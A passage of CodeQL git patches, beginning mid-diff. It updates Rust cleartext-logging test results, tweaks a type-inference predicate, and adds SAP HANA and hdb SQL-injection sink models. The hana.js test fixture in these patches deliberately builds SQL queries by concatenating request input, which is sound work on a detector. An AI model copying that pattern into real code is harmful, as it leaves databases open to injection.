MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:45:28:45:35 | password | semmle.label | password | -| test_logging.rs:46:5:46:35 | ...::log | semmle.label | ...::log | -| test_logging.rs:46:11:46:34 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:46:27:46:34 | password | semmle.label | password | -| test_logging.rs:47:5:47:48 | ...::log | semmle.label | ...::log | -| test_logging.rs:47:24:47:47 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:47:40:47:47 | password | semmle.label | password | -| test_logging.rs:52:5:52:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:52:12:52:35 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:52:28:52:35 | password | semmle.label | password | -| test_logging.rs:54:5:54:49 | ...::log | semmle.label | ...::log | -| test_logging.rs:54:12:54:48 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:54:41:54:48 | password | semmle.label | password | -| test_logging.rs:56:5:56:47 | ...::log | semmle.label | ...::log | -| test_logging.rs:56:12:56:46 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:56:39:56:46 | password | semmle.label | password | -| test_logging.rs:57:5:57:34 | ...::log | semmle.label | ...::log | -| test_logging.rs:57:12:57:33 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:57:24:57:31 | password | semmle.label | password | -| test_logging.rs:58:5:58:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:58:12:58:35 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:58:24:58:31 | password | semmle.label | password | -| test_logging.rs:60:5:60:54 | ...::log | semmle.label | ...::log | -| test_logging.rs:60:30:60:53 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:60:46:60:53 | password | semmle.label | password | | test_logging.rs:61:5:61:55 | ...::log | semmle.label | ...::log | | test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | | test_logging.rs:61:20:61:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | @@ -280,12 +154,6 @@ nodes | test_logging.rs:61:20:61:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | | test_logging.rs:61:20:61:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | | test_logging.rs:61:21:61:28 | password | semmle.label | password | -| test_logging.rs:65:5:65:48 | ...::log | semmle.label | ...::log | -| test_logging.rs:65:24:65:47 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:65:40:65:47 | password | semmle.label | password | -| test_logging.rs:67:5:67:66 | ...::log | semmle.label | ...::log | -| test_logging.rs:67:42:67:65 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:67:58:67:65 | password | semmle.label | password | | test_logging.rs:68:5:68:67 | ...::log | semmle.label | ...::log | | test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | | test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | @@ -294,13 +162,7 @@ nodes | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | | test_logging.rs:68:19:68:26 | password | semmle.label | password | -| test_logging.rs:72:5:72:47 | ...::log::<...> | semmle.label | ...::log::<...> | -| test_logging.rs:72:23:72:46 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:72:39:72:46 | password | semmle.label | password | -| test_logging.rs:74:5:74:65 | ...::log::<...> | semmle.label | ...::log::<...> | -| test_logging.rs:74:41:74:64 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:74:57:74:64 | password | semmle.label | password | -| test_logging.rs:75:5:75:51 | ...::log::<...> | semmle.label | ...::log::<...> | +| test_logging.rs:75:5:75:51 | ...::log | semmle.label | ...::log | | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | | test_logging.rs:75:20:75:28 | &password | semmle.label | &password | @@ -308,16 +170,7 @@ nodes | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | | test_logging.rs:75:21:75:28 | password | semmle.label | password | -| test_logging.rs:76:5:76:47 | ...::log::<...> | semmle.label | ...::log::<...> | -| test_logging.rs:76:23:76:46 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:76:39:76:46 | password | semmle.label | password | -| test_logging.rs:82:5:82:44 | ...::log::<...> | semmle.label | ...::log::<...> | -| test_logging.rs:82:20:82:43 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:82:36:82:43 | password | semmle.label | password | -| test_logging.rs:84:5:84:62 | ...::log::<...> | semmle.label | ...::log::<...> | -| test_logging.rs:84:38:84:61 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:84:54:84:61 | password | semmle.label | password | -| test_logging.rs:85:5:85:48 | ...::log::<...> | semmle.label | ...::log::<...> | +| test_logging.rs:85:5:85:48 | ...::log | semmle.label | ...::log | | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | | test_logging.rs:85:20:85:28 | &password | semmle.label | &password | @@ -325,38 +178,6 @@ nodes | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | | test_logging.rs:85:21:85:28 | password | semmle.label | password | -| test_logging.rs:86:5:86:44 | ...::log::<...> | semmle.label | ...::log::<...> | -| test_logging.rs:86:20:86:43 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:86:36:86:43 | password | semmle.label | password | -| test_logging.rs:93:9:93:10 | m1 | semmle.label | m1 | -| test_logging.rs:93:14:93:22 | &password | semmle.label | &password | -| test_logging.rs:93:15:93:22 | password | semmle.label | password | -| test_logging.rs:94:5:94:29 | ...::log | semmle.label | ...::log | -| test_logging.rs:94:11:94:28 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:96:9:96:10 | m2 | semmle.label | m2 | -| test_logging.rs:96:41:96:49 | &password | semmle.label | &password | -| test_logging.rs:96:42:96:49 | password | semmle.label | password | -| test_logging.rs:97:5:97:19 | ...::log | semmle.label | ...::log | -| test_logging.rs:97:11:97:18 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:99:9:99:10 | m3 | semmle.label | m3 | -| test_logging.rs:99:14:99:46 | res | semmle.label | res | -| test_logging.rs:99:22:99:45 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:99:22:99:45 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:99:22:99:45 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:99:22:99:45 | { ... } | semmle.label | { ... } | -| test_logging.rs:99:38:99:45 | password | semmle.label | password | -| test_logging.rs:100:5:100:19 | ...::log | semmle.label | ...::log | -| test_logging.rs:100:11:100:18 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:118:5:118:42 | ...::log | semmle.label | ...::log | -| test_logging.rs:118:12:118:41 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:118:28:118:41 | get_password(...) | semmle.label | get_password(...) | -| test_logging.rs:129:9:129:10 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | -| test_logging.rs:129:14:129:33 | TupleExpr [tuple.1] | semmle.label | TupleExpr [tuple.1] | -| test_logging.rs:129:25:129:32 | password | semmle.label | password | -| test_logging.rs:131:5:131:32 | ...::log | semmle.label | ...::log | -| test_logging.rs:131:12:131:31 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:131:28:131:29 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | -| test_logging.rs:131:28:131:31 | t1.1 | semmle.label | t1.1 | | test_logging.rs:152:5:152:38 | ...::_print | semmle.label | ...::_print | | test_logging.rs:152:12:152:37 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:152:30:152:37 | password | semmle.label | password | @@ -449,3 +270,33 @@ nodes | test_logging.rs:181:23:181:48 | { ... } | semmle.label | { ... } | | test_logging.rs:181:41:181:48 | password | semmle.label | password | subpaths +testFailures +| test_logging.rs:42:39:42:72 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:43:39:43:72 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:44:38:44:71 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:45:39:45:72 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:46:38:46:71 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:47:51:47:84 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:52:39:52:72 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:54:52:54:85 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:56:50:56:83 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:57:37:57:70 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:58:39:58:72 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:60:57:60:90 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:65:51:65:84 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:67:69:67:102 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:72:50:72:83 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:74:68:74:101 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:76:50:76:83 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:82:47:82:80 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:84:65:84:98 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:86:47:86:80 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:93:25:93:38 | //... | Missing result: Source=m1 | +| test_logging.rs:94:32:94:68 | //... | Missing result: Alert[rust/cleartext-logging]=m1 | +| test_logging.rs:96:52:96:65 | //... | Missing result: Source=m2 | +| test_logging.rs:97:22:97:58 | //... | Missing result: Alert[rust/cleartext-logging]=m2 | +| test_logging.rs:99:49:99:62 | //... | Missing result: Source=m3 | +| test_logging.rs:100:22:100:59 | //... | Missing result: Alert[rust/cleartext-logging]=m3 | +| test_logging.rs:118:45:118:78 | //... | Missing result: Alert[rust/cleartext-logging] | +| test_logging.rs:129:36:129:49 | //... | Missing result: Source=t1 | +| test_logging.rs:131:35:131:71 | //... | Missing result: Alert[rust/cleartext-logging]=t1 | From 54e7bb7f1a2cefc9f842e4b627fcffb7d1af8b6e Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Tue, 25 Mar 2025 14:26:24 +0100 Subject: [PATCH 067/282] Rust: Fix a bad join by adding bindingset to resolveTypeMentionRoot --- .../codeql/typeinference/internal/TypeInference.qll | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index 85e89354c89..36618eaf85e 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -259,7 +259,8 @@ module Make1 Input1> { private import Input2 /** Gets the type at the empty path of `tm`. */ - pragma[nomagic] + bindingset[tm] + pragma[inline_late] private Type resolveTypeMentionRoot(TypeMention tm) { result = tm.resolveTypeAt(TypePath::nil()) } From 032cfc134fccd1da23143c7f0b05d0f681e40bc6 Mon Sep 17 00:00:00 2001 From: Napalys Date: Tue, 25 Mar 2025 14:29:06 +0100 Subject: [PATCH 068/282] Added test cases for `hana` clients. --- .../Security/CWE-089/untyped/hana.js | 86 +++++++++++++++++++ 1 file changed, 86 insertions(+) create mode 100644 javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js new file mode 100644 index 00000000000..0d7fc05ec1a --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js @@ -0,0 +1,86 @@ +const hana = require('@sap/hana-client'); +const express = require('express'); + +const app = express(); +const connectionParams = {}; +app.post('/documents/find', (req, res) => { + const conn = hana.createConnection(); + conn.connect(connectionParams, (err) => { + let maliciousInput = req.body.data; // $ MISSING: Source + const query = `SELECT * FROM Users WHERE username = '${maliciousInput}'`; + conn.exec(query, (err, rows) => {}); // $ MISSING: Alert + conn.disconnect(); + }); + + conn.connect(connectionParams, (err) => { + const maliciousInput = req.body.data; // $ MISSING: Source + const stmt = conn.prepare(`SELECT * FROM Test WHERE ID = ? AND username = ` + maliciousInput); // $ MISSING: Alert + stmt.exec([maliciousInput], (err, rows) => {}); // maliciousInput is treated as a parameter + conn.disconnect(); + }); + + conn.connect(connectionParams, (err) => { + const maliciousInput = req.body.data; // $ MISSING: Source + var stmt = conn.prepare(`INSERT INTO Customers(ID, NAME) VALUES(?, ?) ` + maliciousInput); // $ MISSING: Alert + stmt.execBatch([[1, maliciousInput], [2, maliciousInput]], function(err, rows) {}); // maliciousInput is treated as a parameter + conn.disconnect(); + }); + + conn.connect(connectionParams, (err) => { + const maliciousInput = req.body.data; // $ MISSING: Source + var stmt = conn.prepare("SELECT * FROM Customers WHERE ID >= ? AND ID < ?" + maliciousInput); // $ MISSING: Alert + stmt.execQuery([100, maliciousInput], function(err, rs) {}); // $ maliciousInput is treated as a parameter + conn.disconnect(); + }); +}); + +var hdbext = require('@sap/hdbext'); +var express = require('express'); +var dbStream = require('@sap/hana-client/extension/Stream'); + +var app1 = express(); +const hanaConfig = {}; +app1.use(hdbext.middleware(hanaConfig)); + +app1.get('/execute-query', function (req, res) { + var client = req.db; + let maliciousInput = req.body.data; // $ MISSING: Source + client.exec('SELECT * FROM DUMMY' + maliciousInput, function (err, rs) {}); // $ MISSING: Alert + + dbStream.createProcStatement(client, 'CALL PROC_DUMMY (?, ?, ?, ?, ?)' + maliciousInput, function (err, stmt) { // $ MISSING: Alert + stmt.exec({ A: maliciousInput, B: 4 }, function (err, params, dummyRows, tablesRows) {}); // maliciousInput is treated as a parameter + }); + + hdbext.loadProcedure(client, null, 'PROC_DUMMY' + maliciousInput, function(err, sp) { // $ MISSING: Alert + sp(3, maliciousInput, function(err, parameters, dummyRows, tablesRows) {}); // maliciousInput is treated as a parameter + }); +}); + + +var hdb = require('hdb'); +const async = require('async'); + +const options = {}; +const app2 = express(); + +app2.post('/documents/find', (req, res) => { + var client = hdb.createClient(options); + let maliciousInput = req.body.data; // $ MISSING: Source + + client.connect(function onconnect(err) { + async.series([client.exec.bind(client, "INSERT INTO NUMBERS VALUES (1, 'one')" + maliciousInput)], function (err) {}); // $ MISSING: Alert + + client.exec('select * from DUMMY' + maliciousInput, function (err, rows) {}); // $ MISSING: Alert + client.exec('select * from DUMMY' + maliciousInput, options, function(err, rows) {}); // $ MISSING: Alert + + client.prepare('select * from DUMMY where DUMMY = ?' + maliciousInput, function (err, statement){ // $ MISSING: Alert + statement.exec([maliciousInput], function (err, rows) {}); // maliciousInput is treated as a parameter + }); + + client.prepare('call PROC_DUMMY (?, ?, ?, ?, ?)' + maliciousInput, function(err, statement){ // $ MISSING: Alert + statement.exec({A: 3, B: maliciousInput}, function(err, parameters, dummyRows, tableRows) {}); + }); + + client.execute('select A, B from TEST.NUMBERS order by A' + maliciousInput, function(err, rs) {}); // $ MISSING: Alert + }); +}); From 9229962096f0dd0e3f0f866ed05c18ea5da8eaf2 Mon Sep 17 00:00:00 2001 From: Napalys Date: Tue, 25 Mar 2025 14:36:13 +0100 Subject: [PATCH 069/282] Add sink model for SQL injection detection in `exec` clients. --- .../ql/lib/ext/hana-db-client.model.yml | 8 ++++++ .../CWE-089/untyped/SqlInjection.expected | 28 +++++++++++++++++++ .../Security/CWE-089/untyped/hana.js | 12 ++++---- 3 files changed, 42 insertions(+), 6 deletions(-) create mode 100644 javascript/ql/lib/ext/hana-db-client.model.yml diff --git a/javascript/ql/lib/ext/hana-db-client.model.yml b/javascript/ql/lib/ext/hana-db-client.model.yml new file mode 100644 index 00000000000..d8ef367b88d --- /dev/null +++ b/javascript/ql/lib/ext/hana-db-client.model.yml @@ -0,0 +1,8 @@ +extensions: + - addsTo: + pack: codeql/javascript-all + extensible: sinkModel + data: + - ["@sap/hana-client", "Member[createConnection].ReturnValue.Member[exec].Argument[0]", "sql-injection"] + + - ["hdb", "Member[createClient].ReturnValue.Member[exec].Argument[0]", "sql-injection"] diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected b/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected index 7ac39529dd6..a3c87391288 100644 --- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected @@ -10,6 +10,10 @@ | graphql.js:74:46:74:64 | "{ foo" + id + " }" | graphql.js:73:14:73:25 | req.query.id | graphql.js:74:46:74:64 | "{ foo" + id + " }" | This query string depends on a $@. | graphql.js:73:14:73:25 | req.query.id | user-provided value | | graphql.js:82:14:88:8 | `{\\n ... }` | graphql.js:73:14:73:25 | req.query.id | graphql.js:82:14:88:8 | `{\\n ... }` | This query string depends on a $@. | graphql.js:73:14:73:25 | req.query.id | user-provided value | | graphql.js:118:38:118:48 | `foo ${id}` | graphql.js:117:16:117:28 | req.params.id | graphql.js:118:38:118:48 | `foo ${id}` | This query string depends on a $@. | graphql.js:117:16:117:28 | req.params.id | user-provided value | +| hana.js:11:19:11:23 | query | hana.js:9:30:9:37 | req.body | hana.js:11:19:11:23 | query | This query string depends on a $@. | hana.js:9:30:9:37 | req.body | user-provided value | +| hana.js:71:44:71:99 | "INSERT ... usInput | hana.js:68:24:68:31 | req.body | hana.js:71:44:71:99 | "INSERT ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value | +| hana.js:73:17:73:54 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:73:17:73:54 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value | +| hana.js:74:17:74:54 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:74:17:74:54 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value | | html-sanitizer.js:16:9:16:59 | `SELECT ... param1 | html-sanitizer.js:13:39:13:44 | param1 | html-sanitizer.js:16:9:16:59 | `SELECT ... param1 | This query string depends on a $@. | html-sanitizer.js:13:39:13:44 | param1 | user-provided value | | json-schema-validator.js:33:22:33:26 | query | json-schema-validator.js:25:34:25:47 | req.query.data | json-schema-validator.js:33:22:33:26 | query | This query object depends on a $@. | json-schema-validator.js:25:34:25:47 | req.query.data | user-provided value | | json-schema-validator.js:35:18:35:22 | query | json-schema-validator.js:25:34:25:47 | req.query.data | json-schema-validator.js:35:18:35:22 | query | This query object depends on a $@. | json-schema-validator.js:25:34:25:47 | req.query.data | user-provided value | @@ -152,6 +156,17 @@ edges | graphql.js:117:11:117:28 | id | graphql.js:118:45:118:46 | id | provenance | | | graphql.js:117:16:117:28 | req.params.id | graphql.js:117:11:117:28 | id | provenance | | | graphql.js:118:45:118:46 | id | graphql.js:118:38:118:48 | `foo ${id}` | provenance | | +| hana.js:9:13:9:42 | maliciousInput | hana.js:10:64:10:77 | maliciousInput | provenance | | +| hana.js:9:30:9:37 | req.body | hana.js:9:13:9:42 | maliciousInput | provenance | | +| hana.js:10:15:10:80 | query | hana.js:11:19:11:23 | query | provenance | | +| hana.js:10:64:10:77 | maliciousInput | hana.js:10:15:10:80 | query | provenance | | +| hana.js:68:7:68:36 | maliciousInput | hana.js:71:86:71:99 | maliciousInput | provenance | | +| hana.js:68:7:68:36 | maliciousInput | hana.js:73:41:73:54 | maliciousInput | provenance | | +| hana.js:68:7:68:36 | maliciousInput | hana.js:74:41:74:54 | maliciousInput | provenance | | +| hana.js:68:24:68:31 | req.body | hana.js:68:7:68:36 | maliciousInput | provenance | | +| hana.js:71:86:71:99 | maliciousInput | hana.js:71:44:71:99 | "INSERT ... usInput | provenance | | +| hana.js:73:41:73:54 | maliciousInput | hana.js:73:17:73:54 | 'select ... usInput | provenance | | +| hana.js:74:41:74:54 | maliciousInput | hana.js:74:17:74:54 | 'select ... usInput | provenance | | | html-sanitizer.js:13:39:13:44 | param1 | html-sanitizer.js:14:18:14:23 | param1 | provenance | | | html-sanitizer.js:14:5:14:24 | param1 | html-sanitizer.js:16:54:16:59 | param1 | provenance | | | html-sanitizer.js:14:14:14:24 | xss(param1) | html-sanitizer.js:14:5:14:24 | param1 | provenance | | @@ -504,6 +519,19 @@ nodes | graphql.js:117:16:117:28 | req.params.id | semmle.label | req.params.id | | graphql.js:118:38:118:48 | `foo ${id}` | semmle.label | `foo ${id}` | | graphql.js:118:45:118:46 | id | semmle.label | id | +| hana.js:9:13:9:42 | maliciousInput | semmle.label | maliciousInput | +| hana.js:9:30:9:37 | req.body | semmle.label | req.body | +| hana.js:10:15:10:80 | query | semmle.label | query | +| hana.js:10:64:10:77 | maliciousInput | semmle.label | maliciousInput | +| hana.js:11:19:11:23 | query | semmle.label | query | +| hana.js:68:7:68:36 | maliciousInput | semmle.label | maliciousInput | +| hana.js:68:24:68:31 | req.body | semmle.label | req.body | +| hana.js:71:44:71:99 | "INSERT ... usInput | semmle.label | "INSERT ... usInput | +| hana.js:71:86:71:99 | maliciousInput | semmle.label | maliciousInput | +| hana.js:73:17:73:54 | 'select ... usInput | semmle.label | 'select ... usInput | +| hana.js:73:41:73:54 | maliciousInput | semmle.label | maliciousInput | +| hana.js:74:17:74:54 | 'select ... usInput | semmle.label | 'select ... usInput | +| hana.js:74:41:74:54 | maliciousInput | semmle.label | maliciousInput | | html-sanitizer.js:13:39:13:44 | param1 | semmle.label | param1 | | html-sanitizer.js:14:5:14:24 | param1 | semmle.label | param1 | | html-sanitizer.js:14:14:14:24 | xss(param1) | semmle.label | xss(param1) | diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js index 0d7fc05ec1a..2b3aea9ae1d 100644 --- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js +++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js @@ -6,9 +6,9 @@ const connectionParams = {}; app.post('/documents/find', (req, res) => { const conn = hana.createConnection(); conn.connect(connectionParams, (err) => { - let maliciousInput = req.body.data; // $ MISSING: Source + let maliciousInput = req.body.data; // $ Source const query = `SELECT * FROM Users WHERE username = '${maliciousInput}'`; - conn.exec(query, (err, rows) => {}); // $ MISSING: Alert + conn.exec(query, (err, rows) => {}); // $ Alert conn.disconnect(); }); @@ -65,13 +65,13 @@ const app2 = express(); app2.post('/documents/find', (req, res) => { var client = hdb.createClient(options); - let maliciousInput = req.body.data; // $ MISSING: Source + let maliciousInput = req.body.data; // $ Source client.connect(function onconnect(err) { - async.series([client.exec.bind(client, "INSERT INTO NUMBERS VALUES (1, 'one')" + maliciousInput)], function (err) {}); // $ MISSING: Alert + async.series([client.exec.bind(client, "INSERT INTO NUMBERS VALUES (1, 'one')" + maliciousInput)], function (err) {}); // $ Alert - client.exec('select * from DUMMY' + maliciousInput, function (err, rows) {}); // $ MISSING: Alert - client.exec('select * from DUMMY' + maliciousInput, options, function(err, rows) {}); // $ MISSING: Alert + client.exec('select * from DUMMY' + maliciousInput, function (err, rows) {}); // $ Alert + client.exec('select * from DUMMY' + maliciousInput, options, function(err, rows) {}); // $ Alert client.prepare('select * from DUMMY where DUMMY = ?' + maliciousInput, function (err, statement){ // $ MISSING: Alert statement.exec([maliciousInput], function (err, rows) {}); // maliciousInput is treated as a parameter From d28af9508a267a0fea8e0700d05d6e639b4eb119 Mon Sep 17 00:00:00 2001 From: Napalys Date: Tue, 25 Mar 2025 14:40:10 +0100 Subject: [PATCH 070/282] Added sink models for `hana`'s client `prepare` function. --- .../ql/lib/ext/hana-db-client.model.yml | 4 +-- .../CWE-089/untyped/SqlInjection.expected | 34 +++++++++++++++++++ .../Security/CWE-089/untyped/hana.js | 16 ++++----- 3 files changed, 44 insertions(+), 10 deletions(-) diff --git a/javascript/ql/lib/ext/hana-db-client.model.yml b/javascript/ql/lib/ext/hana-db-client.model.yml index d8ef367b88d..1e52784e966 100644 --- a/javascript/ql/lib/ext/hana-db-client.model.yml +++ b/javascript/ql/lib/ext/hana-db-client.model.yml @@ -3,6 +3,6 @@ extensions: pack: codeql/javascript-all extensible: sinkModel data: - - ["@sap/hana-client", "Member[createConnection].ReturnValue.Member[exec].Argument[0]", "sql-injection"] + - ["@sap/hana-client", "Member[createConnection].ReturnValue.Member[exec,prepare].Argument[0]", "sql-injection"] - - ["hdb", "Member[createClient].ReturnValue.Member[exec].Argument[0]", "sql-injection"] + - ["hdb", "Member[createClient].ReturnValue.Member[exec,prepare].Argument[0]", "sql-injection"] diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected b/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected index a3c87391288..63abc5d3347 100644 --- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected @@ -11,9 +11,14 @@ | graphql.js:82:14:88:8 | `{\\n ... }` | graphql.js:73:14:73:25 | req.query.id | graphql.js:82:14:88:8 | `{\\n ... }` | This query string depends on a $@. | graphql.js:73:14:73:25 | req.query.id | user-provided value | | graphql.js:118:38:118:48 | `foo ${id}` | graphql.js:117:16:117:28 | req.params.id | graphql.js:118:38:118:48 | `foo ${id}` | This query string depends on a $@. | graphql.js:117:16:117:28 | req.params.id | user-provided value | | hana.js:11:19:11:23 | query | hana.js:9:30:9:37 | req.body | hana.js:11:19:11:23 | query | This query string depends on a $@. | hana.js:9:30:9:37 | req.body | user-provided value | +| hana.js:17:35:17:100 | `SELECT ... usInput | hana.js:16:32:16:39 | req.body | hana.js:17:35:17:100 | `SELECT ... usInput | This query string depends on a $@. | hana.js:16:32:16:39 | req.body | user-provided value | +| hana.js:24:33:24:96 | `INSERT ... usInput | hana.js:23:32:23:39 | req.body | hana.js:24:33:24:96 | `INSERT ... usInput | This query string depends on a $@. | hana.js:23:32:23:39 | req.body | user-provided value | +| hana.js:31:31:31:97 | "SELECT ... usInput | hana.js:30:30:30:37 | req.body | hana.js:31:31:31:97 | "SELECT ... usInput | This query string depends on a $@. | hana.js:30:30:30:37 | req.body | user-provided value | | hana.js:71:44:71:99 | "INSERT ... usInput | hana.js:68:24:68:31 | req.body | hana.js:71:44:71:99 | "INSERT ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value | | hana.js:73:17:73:54 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:73:17:73:54 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value | | hana.js:74:17:74:54 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:74:17:74:54 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value | +| hana.js:76:20:76:73 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:76:20:76:73 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value | +| hana.js:80:20:80:69 | 'call P ... usInput | hana.js:68:24:68:31 | req.body | hana.js:80:20:80:69 | 'call P ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value | | html-sanitizer.js:16:9:16:59 | `SELECT ... param1 | html-sanitizer.js:13:39:13:44 | param1 | html-sanitizer.js:16:9:16:59 | `SELECT ... param1 | This query string depends on a $@. | html-sanitizer.js:13:39:13:44 | param1 | user-provided value | | json-schema-validator.js:33:22:33:26 | query | json-schema-validator.js:25:34:25:47 | req.query.data | json-schema-validator.js:33:22:33:26 | query | This query object depends on a $@. | json-schema-validator.js:25:34:25:47 | req.query.data | user-provided value | | json-schema-validator.js:35:18:35:22 | query | json-schema-validator.js:25:34:25:47 | req.query.data | json-schema-validator.js:35:18:35:22 | query | This query object depends on a $@. | json-schema-validator.js:25:34:25:47 | req.query.data | user-provided value | @@ -160,13 +165,26 @@ edges | hana.js:9:30:9:37 | req.body | hana.js:9:13:9:42 | maliciousInput | provenance | | | hana.js:10:15:10:80 | query | hana.js:11:19:11:23 | query | provenance | | | hana.js:10:64:10:77 | maliciousInput | hana.js:10:15:10:80 | query | provenance | | +| hana.js:16:15:16:44 | maliciousInput | hana.js:17:87:17:100 | maliciousInput | provenance | | +| hana.js:16:32:16:39 | req.body | hana.js:16:15:16:44 | maliciousInput | provenance | | +| hana.js:17:87:17:100 | maliciousInput | hana.js:17:35:17:100 | `SELECT ... usInput | provenance | | +| hana.js:23:15:23:44 | maliciousInput | hana.js:24:83:24:96 | maliciousInput | provenance | | +| hana.js:23:32:23:39 | req.body | hana.js:23:15:23:44 | maliciousInput | provenance | | +| hana.js:24:83:24:96 | maliciousInput | 